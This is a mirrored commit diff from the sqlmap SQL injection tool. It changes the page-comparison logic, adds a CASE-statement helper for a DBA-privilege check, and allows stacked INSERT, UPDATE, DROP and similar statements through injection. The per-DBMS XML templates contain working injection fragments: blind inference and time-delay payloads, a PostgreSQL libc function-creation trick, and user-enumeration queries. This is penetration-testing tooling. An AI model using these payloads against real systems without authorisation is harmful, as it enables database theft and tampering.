mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-25 11:03:47 +03:00
Ahead with the improvements to the comparison algorithm.
Added support internally to forge CASE statements, used only by --is-dba query at the moment. Allow DDL, DML (INSERT, UPDATE, etc.) from user in SQL query and SQL shell. Minor code adjustments.
This commit is contained in:
Bernardo Damele
parent
68354be45a
commit
ad228e6947
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@ -1,7 +1,11 @@
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sqlmap (0.6.4-1) stable; urgency=low
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* Major improvement to the comparison algorithm to make it work also if
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the page content changes at each refresh; (work in progress)
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* Minor enhancement to support an option (--is-dba) to show if the
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current user is a database management system administrator;
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* Added support internally to forge CASE statements, used only by
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--is-dba query at the moment;
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* Major bug fix to avoid tracebacks when multiple targets are specified
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and one of them is not reachable;
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* Minor bug fix to make the --postfix work even if --prefix is not
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@ -306,30 +306,26 @@ def checkStability():
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condition &= secondPage == thirdPage
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if condition == False:
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# Prepare for the comparison algorithm based on Content-Length
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# header value
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contentLengths = []
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requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
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# Prepare for the comparison algorithm based on page length value
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pageLengths = []
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requestsPages = ( firstPage, secondPage, thirdPage )
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for requestHeaders in requestsHeaders:
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requestHeaders = str(requestHeaders).lower()
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for requestPages in requestsPages:
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pageLengths.append(len(str(requestPages)))
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clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
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if pageLengths:
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conf.pageLengths = ( min(pageLengths) - ( ( min(pageLengths) * 2 ) / 100 ),
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max(pageLengths) + ( ( max(pageLengths) * 2 ) / 100 ) )
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if clHeader and clHeader.group(1).isdigit():
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contentLengths.append(int(clHeader.group(1)))
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if conf.pageLengths[0] < conf.pageLengths[1]:
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warnMsg = "url is not stable, sqlmap inspected the page "
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warnMsg += "and identified that page length can be used "
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warnMsg += "in the comparison algorithm"
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logger.warn(warnMsg)
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if contentLengths:
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conf.contentLengths = ( min(contentLengths), max(contentLengths) )
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kb.defaultResult = True
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warnMsg = "url is not stable, sqlmap inspected the headers "
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warnMsg += "and identified that Content-Length can be used "
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warnMsg += "in the comparison algorithm"
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logger.warn(warnMsg)
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kb.defaultResult = True
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return True
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return True
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# Prepare for the comparison algorithm based on page content's
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# stable lines subset
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@ -468,5 +468,25 @@ class Agent:
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return limitedQuery
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def forgeCaseStatement(self, expression):
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"""
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Take in input a query string and return its CASE statement query
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string.
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Example:
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Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
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Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
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@param expression: expression to be processed
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@type num: C{str}
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@return: processed expression
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@rtype: C{str}
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"""
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return queries[kb.dbms].case % expression
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# SQL agent
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agent = Agent()
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@ -40,6 +40,7 @@ from lib.core.data import logger
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from lib.core.data import temp
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from lib.core.exception import sqlmapFilePathException
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from lib.core.data import paths
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from lib.core.settings import SQL_STATEMENTS
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from lib.core.settings import VERSION_STRING
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@ -493,39 +494,11 @@ def parsePasswordHash(password):
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def cleanQuery(query):
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# SQL SELECT statement
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upperQuery = query.replace("select ", "SELECT ")
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upperQuery = upperQuery.replace(" from ", " FROM ")
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upperQuery = upperQuery.replace(" where ", " WHERE ")
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upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
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upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
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upperQuery = upperQuery.replace(" having ", " HAVING ")
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upperQuery = upperQuery.replace(" limit ", " LIMIT ")
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upperQuery = upperQuery.replace(" offset ", " OFFSET ")
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upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
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upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
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upperQuery = query
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# SQL data definition
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upperQuery = upperQuery.replace(" create ", " CREATE ")
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upperQuery = upperQuery.replace(" drop ", " DROP ")
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upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
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upperQuery = upperQuery.replace(" alter ", " ALTER ")
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# SQL data manipulation
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upperQuery = upperQuery.replace(" insert ", " INSERT ")
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upperQuery = upperQuery.replace(" update ", " UPDATE ")
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upperQuery = upperQuery.replace(" delete ", " DELETE ")
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upperQuery = upperQuery.replace(" merge ", " MERGE ")
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# SQL data control
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upperQuery = upperQuery.replace(" grant ", " GRANT ")
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# SQL transaction control
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upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
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upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
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upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
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upperQuery = upperQuery.replace(" commit ", " COMMIT ")
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upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
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for sqlStatements in SQL_STATEMENTS.values():
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for sqlStatement in sqlStatements:
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upperQuery = upperQuery.replace(sqlStatement, sqlStatement.upper())
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return upperQuery
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@ -570,7 +570,7 @@ def __setConfAttributes():
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logger.debug(debugMsg)
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conf.cj = None
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conf.contentLengths = []
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conf.pageLengths = []
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conf.dbmsHandler = None
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conf.dumpPath = None
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conf.equalLines = []
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@ -68,3 +68,44 @@ SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIAS
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# TODO: port to command line/configuration file options?
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SECONDS = 5
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RETRIES = 3
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SQL_STATEMENTS = {
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"SQL SELECT statement": (
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"select ",
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" from ",
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" where ",
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" group by ",
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" order by ",
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" having ",
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" limit ",
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" offset ",
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" union all ",
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" rownum ",
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),
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"SQL data definition": (
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"create ",
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"drop ",
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"truncate ",
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"alter ",
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),
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"SQL data manipulation": (
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"insert ",
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"update ",
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"delete ",
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"merge ",
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),
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"SQL data control": (
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"grant ",
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),
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"SQL transaction": (
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"start transaction ",
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"begin work ",
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"begin transaction ",
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"commit ",
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"rollback ",
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),
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}
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@ -107,6 +107,10 @@ class queriesHandler(ContentHandler):
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data = sanitizeStr(attrs.get("query"))
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self.__queries.substring = data
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elif name == "case":
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data = sanitizeStr(attrs.get("query"))
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self.__queries.case = data
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elif name == "inference":
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data = sanitizeStr(attrs.get("query"))
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self.__queries.inference = data
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@ -68,15 +68,13 @@ def comparison(page, headers=None, content=False):
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return False
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# By default it returns the page content MD5 hash
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if not conf.equalLines and not conf.contentLengths:
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if not conf.equalLines and not conf.pageLengths:
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return md5.new(page).hexdigest()
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# TODO: go ahead from here
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# Comparison algorithm based on Content-Length header value
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elif conf.contentLengths:
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minValue = conf.contentLengths[0] - 10
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maxValue = conf.contentLengths[1] + 10
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# Comparison algorithm based on page length value
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elif conf.pageLengths:
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minValue = conf.pageLengths[0]
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maxValue = conf.pageLengths[1]
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if len(page) >= minValue and len(page) <= maxValue:
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return True
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@ -336,6 +336,8 @@ def goStacked(expression):
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TODO: write description
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"""
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expression = cleanQuery(expression)
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comment = queries[kb.dbms].comment
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query = agent.prefixQuery("; %s" % expression)
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query = agent.postfixQuery("%s;%s" % (query, comment))
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@ -39,6 +39,7 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.exception import sqlmapUndefinedMethod
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.core.settings import SQL_STATEMENTS
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from lib.core.shell import autoCompletion
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from lib.core.unescaper import unescaper
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from lib.parse.banner import bannerParser
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@ -120,7 +121,7 @@ class Enumeration:
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infoMsg = "testing if current user is DBA"
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logger.info(infoMsg)
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query = queries[kb.dbms].isDba
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query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
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self.isDba = inject.getValue(query)
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@ -1038,10 +1039,33 @@ class Enumeration:
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def sqlQuery(self, query):
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infoMsg = "fetching SQL SELECT query output: '%s'" % query
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output = None
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selectQuery = False
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sqlType = None
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for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
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for sqlStatement in sqlStatements:
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if query.lower().startswith(sqlStatement):
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sqlType = sqlTitle
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if sqlTitle == "SQL SELECT statement":
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selectQuery = True
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break
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if sqlType:
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infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
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else:
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infoMsg = "fetching SQL query output: '%s'" % query
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logger.info(infoMsg)
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output = inject.getValue(query, fromUser=True)
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if selectQuery == False:
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# TODO: test if stacked queries are supported by the web
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# application before injecting
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inject.goStacked(query)
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else:
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output = inject.getValue(query, fromUser=True)
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if output == "Quit":
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return None
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@ -23,11 +23,12 @@
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-->
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<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
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<substring query="MID((%s), %d, %d)"/>
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<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
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<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
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<banner query="VERSION()"/>
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<current_user query="CURRENT_USER()"/>
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<current_db query="DATABASE()"/>
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<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/>
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<is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
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<users>
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<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
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<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
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@ -74,11 +75,12 @@
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<comment query="--"/>
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<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
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<substring query="SUBSTR((%s), %d, %d)"/>
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<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
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<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
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<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
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<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
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<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
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<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/>
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<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA'"/>
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<users>
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<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
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<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
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@ -124,11 +126,12 @@
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<comment query="--" query2="/*"/>
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<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
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<substring query="SUBSTR((%s)::text, %d, %d)"/>
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<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
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<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
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<banner query="VERSION()"/>
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<current_user query="CURRENT_USER"/>
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<current_db query="CURRENT_DATABASE()"/>
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<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/>
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<is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)='true'"/>
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<users>
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<inband query="SELECT usename FROM pg_user"/>
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<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
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@ -175,11 +178,12 @@
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<comment query="--" query2="/*"/>
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<timedelay query="WAITFOR DELAY '0:0:%d'"/>
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<substring query="SUBSTRING((%s), %d, %d)"/>
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<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
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<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
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<banner query="@@VERSION"/>
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<current_user query="SYSTEM_USER"/>
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<current_db query="DB_NAME()"/>
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<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/>
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<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
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<users>
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<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
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<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
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